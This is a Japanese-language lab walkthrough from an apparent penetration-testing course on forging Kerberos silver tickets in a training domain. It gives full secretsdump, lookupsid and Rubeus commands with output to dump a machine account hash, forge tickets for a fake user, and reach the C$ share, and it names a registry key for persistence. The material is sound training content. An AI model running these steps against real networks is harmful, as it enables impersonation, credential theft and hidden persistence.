Skip to content

Lab 5.4: Silver Ticket

オンライン演習

接続性:この演習では、クラス内ネットワーク(560A VPN経由)に接続している必要があります

目的

  • Rubeusを使用して、bgreenとしてファイルサーバー(file01)にアクセスします。
  • file01のハッシュを使用して、file01上のCIFSサービス用のシルバーチケットを作成します。
  • file01へのアクセスを可能にする偽のユーザーデータを含むチケットを生成します。

ウォークスルービデオ

ラボのセットアップ

使用するVM:

  • Windows 11

hiboxy.comドメインのDCにアクセスします。

Kerberoastラボで、ドメイン管理者権限を持つアカウントであるSVC_SQLService2を侵害しました。

ラボ – ステップバイステップの手順

hiboxy.comドメインのDCにアクセスします。以前のラボでNTDS.ditファイルからパスワードハッシュを抽出したことを思い出してください。これにはDC01$のマシンアカウントハッシュも含まれています。

この攻撃は、Mimikatz、Impacketのticketer.py、Rubeusなど、複数のツールを使用して実行できます。ここではRubeusを使用し、ゴールデンチケットラボではticketer.pyを使用します。

1: 準備

VPNに接続しています。VPNにDNSの制御を任せることもできますが、多くの場合それを避けたいと考えます。もしそうすると、ターゲット組織は私たちがクエリしている内容をすべて知ることになり、これは望ましくない場合があります。また、DNSフィルタリングやアラートが設定されている可能性もあります。余分なログを避けたいですし、特にアラートは避けたいと考えます。

Windowsシステムをhiboxy.comのみに対してDNSサーバーを使用するように設定する必要があります。これを行うには、管理者権限のPowerShellターミナルを起動する必要があります。デスクトップにある*Terminal*というタイトルのリンクを開きます。

それでは、hiboxy.comのみに対して10.130.10.4をクエリするようにDNSを設定しましょう。

コマンド

Add-DnsClientNrptRule -Namespace "hiboxy.com" -NameServers 10.130.10.4

参考までに、Linux上では以下のコマンドを使用できますが、ネットワーク(/etc/systemd/network/sec560-lab.network)を追加することで、すでにシステムを事前設定しています。

コマンド例

実行しないでください!

sudo systemd-resolve -i tun0 --set-dns=10.130.10.4 --set-domain=hiboxy.com

2: チケットを構築するための情報の取得

この攻撃全体は、ドメインに参加していないホストから実行できます。私たちの場合、Windowsシステムはドメインに参加していない攻撃システムです。

Rubeusを使用してシルバーチケットを生成しましょう。いくつか必要なものがあります:

  • ターゲットサービスのハッシュ
  • ドメインSID

まず、ドメインSIDを取得しましょう。Windows VMにImpacketをインストールしています。lookupsid.pyを使用して、ドメインオブジェクトのSID(セキュリティ識別子)を取得します。WindowsのSIDはS-1-5-21-XXXXXXXXXX-YYYYYYYYYYY-ZZZZZZZZZZ-RIDの形式です。ドメイン内の各アイテムのSIDは、末尾のRID(相対ID)を除いて変化します。SIDのベース部分が必要です。ツールを使用して、ベースSIDと520までのすべてのRIDを抽出しましょう(520は含まれません)。

新しいPowerShellシェルを開き、以下のコマンドを実行してSIDを取得します。

コマンド

lookupsid.py hiboxy.com/bgreen:Password1@10.130.10.4 520

想定される結果

PS C:\Users\sec560> lookupsid.py hiboxy.com/bgreen:Password1@10.130.10.4 520
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Brute forcing SIDs at 10.130.10.4
[*] StringBinding ncacn_np:10.130.10.4[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-3338620771-1880071138-2935716604
498: HIBOXY\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: HIBOXY\Administrator (SidTypeUser)
501: HIBOXY\Guest (SidTypeUser)
502: HIBOXY\krbtgt (SidTypeUser)
512: HIBOXY\Domain Admins (SidTypeGroup)
513: HIBOXY\Domain Users (SidTypeGroup)
514: HIBOXY\Domain Guests (SidTypeGroup)
515: HIBOXY\Domain Computers (SidTypeGroup)
516: HIBOXY\Domain Controllers (SidTypeGroup)
517: HIBOXY\Cert Publishers (SidTypeAlias)
518: HIBOXY\Schema Admins (SidTypeGroup)
519: HIBOXY\Enterprise Admins (SidTypeGroup)

SIDは動的です!

上記のSIDは、ラボの構築時にランダムに生成されます。上記に示されているSIDではなく、画面に表示されているSIDを使用してください!

これからfile01サーバーをターゲットにします。コンピュータアカウントFILE01$のAES256ハッシュが必要です。前のラボで見つけたドメイン管理者の資格情報を使用してリクエストできます。

思い出してください、SVC_SQLService2のパスワードは^Cakemakerです。

コマンド

secretsdump.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 -just-dc-user file01$

想定される結果

PS C:\Users\sec560> secretsdump.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 -just-dc-user file01$
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
FILE01$:1401:aad3b435b51404eeaad3b435b51404ee:e633db8bc2f9ecaa71066694374eb2e1:::
[*] Kerberos keys grabbed
FILE01$:aes256-cts-hmac-sha1-96:48f4ee39650c3af0ac304c3961b01cf4e38f3a6f70bb48cdc407f91a979a353b
FILE01$:aes128-cts-hmac-sha1-96:5ea8f7f582d3b34a39c7575ff2c01233
FILE01$:des-cbc-md5:ef2a04a7344fceea
[*] Cleaning up...

ハッシュは動的です!

上記のハッシュは、ラボの構築時にランダムに生成されます。上記に示されているハッシュではなく、画面に表示されているハッシュを使用してください!

3: Rubeusでチケットを作成する

このラボではRubeusを使用します。Rubeusは、Kerberosと対話し操作するためのツールセット(C#で記述)です。

Rubeusで使用するオプションは次のとおりです:

  • silver: Rubeusのシルバーチケットフィーチャー
  • /service:cifs/file01.hiboxy.com: cifs(Common Internet File SystemはSMBの一種で、ファイル共有で使用されます)をターゲットにします
  • /aes256:AES256_HASH_FROM_secretsdump.py: secretsdump.pyから出力されたAES256ハッシュを使用してチケットを生成します
  • /sid:S-1-5-21-XXXXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ: lookupsid.pyから取得したSID
  • /ptt: チケットをメモリにロードして使用できるようにします
  • /user:bgreen: チケットに提示するユーザー

コマンド

次のコマンドでは、REDACTED_AES256_HASHS-1-5-21-XXXXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZを異なる値に置き換える必要があります

REDACTED_AES256_HASHをsecretsdump.pyから取得したAES 256ハッシュに置き換えてください。この例では48f4ee39650c3af0ac304c3961b01cf4e38f3a6f70bb48cdc407f91a979a353bですが、あなたのものは異なります。

S-1-5-21-XXXXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZをlookupsid.pyから取得したSIDに置き換えてください。この例ではS-1-5-21-3338620771-1880071138-2935716604ですが、あなたのものは異なります。

Rubeus.exe silver /service:cifs/file01.hiboxy.com /aes256:REDACTED_AES256_HASH /sid:S-1-5-21-XXXXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ /ptt /user:bgreen

想定される結果

PS C:\Users\sec560> Rubeus.exe silver /service:cifs/file01.hiboxy.com /aes256:48f4ee39650c3af0ac304c3961b01cf4e38f3a6f70bb48cdc407f91a979a353b /sid:S-1-5-21-3338620771-1880071138-2935716604 /ptt /user:bgreen

______        _
(_____ \      | |
_____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v2.3.2

[*] Action: Build TGS

[*] Building PAC

[*] Domain         : HIBOXY.COM (HIBOXY)
[*] SID            : S-1-5-21-3338620771-1880071138-2935716604
[*] UserId         : 500
[*] Groups         : 520,512,513,519,518
[*] ServiceKey     : 48F4EE39650C3AF0AC304C3961B01CF4E38F3A6F70BB48CDC407F91A979A353B
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey         : 48F4EE39650C3AF0AC304C3961B01CF4E38F3A6F70BB48CDC407F91A979A353B
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service        : cifs
[*] Target         : file01.hiboxy.com

...trimmed for brevity...

[*] base64(ticket.kirbi):

      doIFNzCCBTOgAwIBBaEDAgEWooIELDCCBChhggQkMIIEIKADAgEFoQwbCkhJQk9YWS5DT02iJDAioAMC
      AQKhGzAZGwRjaWZzGxFmaWxlMDEuaGlib3h5LmNvbaOCA+MwggPfoAMCARKhAwIBA6KCA9EEggPNRjs+
      ...trimmed for brevity...
      MzA5MTgzNFqnERgPMjAyNDA5MTkyMzE4MzRaqAwbCkhJQk9YWS5DT02pJDAioAMCAQKhGzAZGwRjaWZz
      GxFmaWxlMDEuaGlib3h5LmNvbQ==

[+] Ticket successfully imported!

出力には、作成したチケットに関する情報が表示されます。また、チケットがメモリに正常にロードされたことも示されています。

klist.exeでメモリ内のチケットを確認しましょう。

コマンド

klist

想定される結果

PS C:\Users\sec560> klist

Current LogonId is 0:0x4a0f2

Cached Tickets: (1)

#0>     Client: bgreen @ HIBOXY.COM
        Server: cifs/file01.hiboxy.com @ HIBOXY.COM
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a00000 -> forwardable renewable pre_authent
        Start Time: 10/2/2024 18:07:37 (local)
        End Time:   10/3/2024 4:07:37 (local)
        Renew Time: 10/9/2024 18:07:37 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called:

それでは、ファイルサーバーにアクセスしてみましょう!

コマンド

dir \\file01.hiboxy.com\c$

想定される結果

PS C:\Users\sec560> dir \\file01.hiboxy.com\c$

    Directory: \\file01.hiboxy.com\c$

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d----           8/18/2021 11:24 PM                EFI
d----           9/25/2024  8:45 AM                FileShare
d----            5/8/2021  1:20 AM                PerfLogs
d----           9/25/2024  8:46 AM                Profiles
d-r--           9/25/2024  8:36 AM                Program Files
d----           7/11/2023  7:40 PM                Program Files (x86)
d-r--           9/25/2024  8:44 AM                Users
d----           9/26/2024  7:38 AM                Windows

bgreenのKerberosチケットを使用してリモートホストへの接続に成功しましたが、管理者として接続しています!

4: 2つ目の偽造チケット

新しいチケットを作成しますが、さらに変更を加えてみましょう!

前回のチケットでは、bgreenに管理者権限(Domain AdminsEnterprise Adminsなど)を与えました。今度はユーザー名とRIDを偽装します!

まず、メモリからチケットを削除する必要があります。

コマンド

klist purge

想定される結果

PS C:\Users\sec560> klist purge

Current LogonId is 0:0x1428ce6
        Deleting all tickets:
        Ticket(s) purged!

上矢印キーを数回押して、Rubeusコマンドに戻ります。/userを変更し、偽の/idとして777を指定します。

前のコマンドを再入力する代わりに、上矢印キーを押して以前使用したRubeus.exe silverコマンドを取得し、/user:bgreen/user:pwned /id:777に置き換えます。

コマンド

次のコマンドでは、REDACTED_AES256_HASHS-1-5-21-XXXXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZを異なる値に置き換える必要があります

REDACTED_AES256_HASHをsecretsdump.pyから取得したAES256ハッシュに置き換えてください。この例では48f4ee39650c3af0ac304c3961b01cf4e38f3a6f70bb48cdc407f91a979a353bですが、あなたのものは異なります。

S-1-5-21-XXXXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZをlookupsid.pyから取得したSIDに置き換えてください。この例ではS-1-5-21-3338620771-1880071138-2935716604ですが、あなたのものは異なります。

Rubeus.exe silver /service:cifs/file01.hiboxy.com /aes256:REDACTED_AES256_HASH /sid:S-1-5-21-XXXXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ /ptt /user:pwned /id:777

想定される結果

PS C:\Users\sec560> Rubeus.exe silver /service:cifs/file01.hiboxy.com /aes256:48f4ee39650c3af0ac304c3961b01cf4e38f3a6f70bb48cdc407f91a979a353b /sid:S-1-5-21-3338620771-1880071138-2935716604 /ptt /user:pwned /id:777

______        _
(_____ \      | |
_____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v2.3.2

[*] Action: Build TGS

[*] Building PAC

[*] Domain         : HIBOXY.COM (HIBOXY)
[*] SID            : S-1-5-21-3338620771-1880071138-2935716604
[*] UserId         : 777
[*] Groups         : 520,512,513,519,518
[*] ServiceKey     : 48F4EE39650C3AF0AC304C3961B01CF4E38F3A6F70BB48CDC407F91A979A353B
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey         : 48F4EE39650C3AF0AC304C3961B01CF4E38F3A6F70BB48CDC407F91A979A353B
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service        : cifs
[*] Target         : file01.hiboxy.com

...trimmed for brevity...
[*] Forged a TGS for 'pwned' to 'cifs/file01.hiboxy.com'

...trimmed for brevity...

[*] base64(ticket.kirbi):

      doIFCTCCBQWgAwIBBaEDAgEWooIEDzCCBAthggQHMIIEA6ADAgEFoQwbCkhJQk9YWS5DT02iJDAioAMC
      AQKhGzAZGwRjaWZzGxFmaWxlMDEuaGlib3h5LmNvbaOCA8YwggPCoAMCARehAwIBA6KCA7QEggOwQprX
      ...trimmed for brevity...
      NTdaphEYDzIwMjIwMTA3MTE0MDU3WqcRGA8yMDIyMDExNDAxNDA1N1qoDBsKSElCT1hZLkNPTakkMCKg
      AwIBAqEbMBkbBGNpZnMbEWZpbGUwMS5oaWJveHkuY29t

[+] Ticket successfully imported!

新しいチケット名に注目してください!

これが機能するか確認してみましょう。

コマンド

dir \\file01.hiboxy.com\c$

想定される結果

PS C:\Users\sec560> dir \\file01.hiboxy.com\c$

    Directory: \\file01.hiboxy.com\c$

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d----           8/18/2021 11:24 PM                EFI
d----           9/25/2024  8:45 AM                FileShare
d----            5/8/2021  1:20 AM                PerfLogs
d----           9/25/2024  8:46 AM                Profiles
d-r--           9/25/2024  8:36 AM                Program Files
d----           7/11/2023  7:40 PM                Program Files (x86)
d-r--           9/25/2024  8:44 AM                Users
d----           9/26/2024  7:38 AM                Windows

成功しました!

「serviceclass」は、file01.hiboxy.comのFQDN(完全修飾ドメイン名)の前のチケットの部分です。前の例では、serviceclass cifsを使用しました。各サービスクラスは、異なるサービスに接続することを可能にします。リモートシステムのイベントログをクエリできる別のserviceclassのチケットを作成しましょう。このチケットで同じ情報を使用しますが、cifshostに置き換えます。

コマンド

次のコマンドでは、REDACTED_AES256_HASHS-1-5-21-XXXXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZを異なる値に置き換える必要があります

REDACTED_AES256_HASHをsecretsdump.pyから取得したAES256ハッシュに置き換えてください。この例では48f4ee39650c3af0ac304c3961b01cf4e38f3a6f70bb48cdc407f91a979a353bですが、あなたのものは異なります。

S-1-5-21-XXXXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZをlookupsid.pyから取得したSIDに置き換えてください。この例ではS-1-5-21-3338620771-1880071138-2935716604ですが、あなたのものは異なります。

Rubeus.exe silver /service:host/file01.hiboxy.com /aes256:REDACTED_AES256_HASH /sid:S-1-5-21-XXXXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ /ptt /user:pwned /id:777

想定される結果

PS C:\Users\sec560> Rubeus.exe silver /service:host/file01.hiboxy.com /aes256:48f4ee39650c3af0ac304c3961b01cf4e38f3a6f70bb48cdc407f91a979a353b /sid:S-1-5-21-3338620771-1880071138-2935716604 /ptt /user:pwned /id:777
        ...truncated for brevity...
[*] Service        : host
[*] Target         : file01.hiboxy.com
        ...truncated for brevity...
[*] Forged a TGS for 'pwned' to 'host/file01.hiboxy.com'
        ...truncated for brevity...

hostサービスの新しいチケットが表示されるはずです。チケットを確認してみましょう。

コマンド

klist

想定される結果

PS C:\Users\sec560> klist

Current LogonId is 0:0x4b66d

Cached Tickets: (2)

#0>     Client: pwned @ HIBOXY.COM
        Server: host/file01.hiboxy.com @ HIBOXY.COM
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a00000 -> forwardable renewable pre_authent
        Start Time: 10/2/2024 18:12:12 (local)
        End Time:   10/3/2024 4:12:12 (local)
        Renew Time: 10/9/2024 18:12:12 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called:

#1>     Client: pwned @ HIBOXY.COM
        Server: cifs/file01.hiboxy.com @ HIBOXY.COM
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a00000 -> forwardable renewable pre_authent
        Start Time: 10/2/2024 18:11:44 (local)
        End Time:   10/3/2024 4:11:44 (local)
        Renew Time: 10/9/2024 18:11:44 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called:

host/file01.hiboxy.comcifs/file01.hiboxy.comの両方のチケットが表示されるはずです。

すでにSMB/CIFS経由でホストにアクセスできることを確認しました。システムにアクセスした際にイベントログがどのように見えるか確認してみましょう。

コマンド

wevtutil /r:file01.hiboxy.com qe Security "/q:*[System/EventID=4624] and *[EventData/Data[@Name='TargetUserName']='pwned']" /f:text /c:1

想定される結果

PS C:\Users\sec560> wevtutil /r:file01.hiboxy.com qe Security "/q:*[System/EventID=4624] and *[EventData/Data[@Name='TargetUserName']='pwned']" /f:text /c:1
Event[0]
Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Date: 2024-10-02T18:11:50.0550000Z
Event ID: 4624
Task: Logon
Level: Information
Opcode: Info
Keyword: Audit Success,
User: N/A
User Name: N/A
Computer: file01.hiboxy.com
Description:
An account was successfully logged on.

Subject:
        Security ID:            S-1-0-0
        Account Name:           -
        Account Domain:         -
        Logon ID:               0x0

Logon Information:
        Logon Type:             3
        Restricted Admin Mode:  -
        Virtual Account:                No
        Elevated Token:         Yes

Impersonation Level:            Impersonation

New Logon:
        Security ID:            S-1-5-21-2197199208-460179848-4251762669-777
        Account Name:           pwned
        Account Domain:         HIBOXY.COM
...truncated for brevity...

SIDのRID部分を見ると、私たちの偽のID 777であることがわかります。「Account Name」は私たちの偽のユーザーpwnedです!

これが永続化のためにどれほど強力であるか考えてみてください。ユーザーのユーザー名やパスワードは必要なく、偽のアカウントを含め、任意のユーザーになりすますことができます!ただし、コンピュータアカウントのハッシュは通常、毎月ローテーションされます。悪意のある攻撃者は、次のレジストリキーを1に変更することで、このローテーションを無効化しています:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange

ゴールデンチケット攻撃では同様のことはできません。ドメインコントローラーのパッチにより、DCがIDと名前が存在し一致することを確認するため、偽のアカウント名を使用できなくなりました。

ticketer.pyやMimikatzなど、同じタイプの攻撃に他のツールを使用できます。

まとめ

このラボでは、FILE01$マシンアカウントハッシュを使用して、FILE01上のCIFSサービス用のシルバーチケットを作成しました。シルバーチケットは、指定されたターゲットサービス、およびハッシュまたはパスワードを侵害したサービスへのアクセスのみを提供します。 この場合、CIFSサービスを使用して、密かな永続化を実現できます。時間がある場合は、実際に永続化を実現したり、シルバーチケットとゴールデンチケット、およびそれらが提供するアクセスを試してみてください。